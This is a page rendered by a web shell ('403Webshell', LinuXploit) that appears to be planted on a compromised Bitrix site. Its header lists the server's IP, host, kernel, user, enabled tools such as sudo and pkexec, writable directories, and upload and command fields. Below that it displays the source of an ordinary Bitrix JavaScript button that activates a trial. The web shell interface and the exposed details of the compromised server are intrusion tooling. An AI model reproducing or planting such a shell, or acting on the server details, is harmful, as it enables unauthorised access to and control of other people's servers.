403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/cvetdv.ru/bitrix/js/rest/market-expired/src/button/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/cvetdv.ru/bitrix/js/rest/market-expired/src/button/trial-button.js
import { Button } from 'ui.buttons';
import { MarketPopupButton } from './market-popup-button';
import { ajax } from 'main.core';
import { UI } from 'ui.notification';
import { FeaturePromotersRegistry } from 'ui.info-helper';

export class TrialButton extends MarketPopupButton
{
	getButtonConfig(): Object
	{
		return {
			id: 'marketExpiredPopup_button_demo',
			size: Button.Size.MEDIUM,
			color: Button.Color.LIGHT_BORDER,
			noCaps: true,
			round: true,
		};
	}

	onClick(): void
	{
		this.getButton().unbindEvent('click');
		this.getButton().setState(Button.State.WAITING);
		this.analytic?.sendClickButton('demo');

		ajax({
			url: '/bitrix/tools/rest.php',
			method: 'POST',
			dataType: 'json',
			data: {
				sessid: BX.bitrix_sessid(),
				action: 'activate_demo',
			},
			onsuccess: (result) => {
				this.onSuccess();

				if (result.error)
				{
					UI.Notification.Center.notify({
						content: result.error,
						category: 'demo_subscribe_error',
						position: 'top-right',
					});
				}
				else
				{
					this.analytic?.sendDemoActivated();
					FeaturePromotersRegistry.getPromoter({ code: 'limit_market_trial_active' }).show();
				}
			},
		});
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit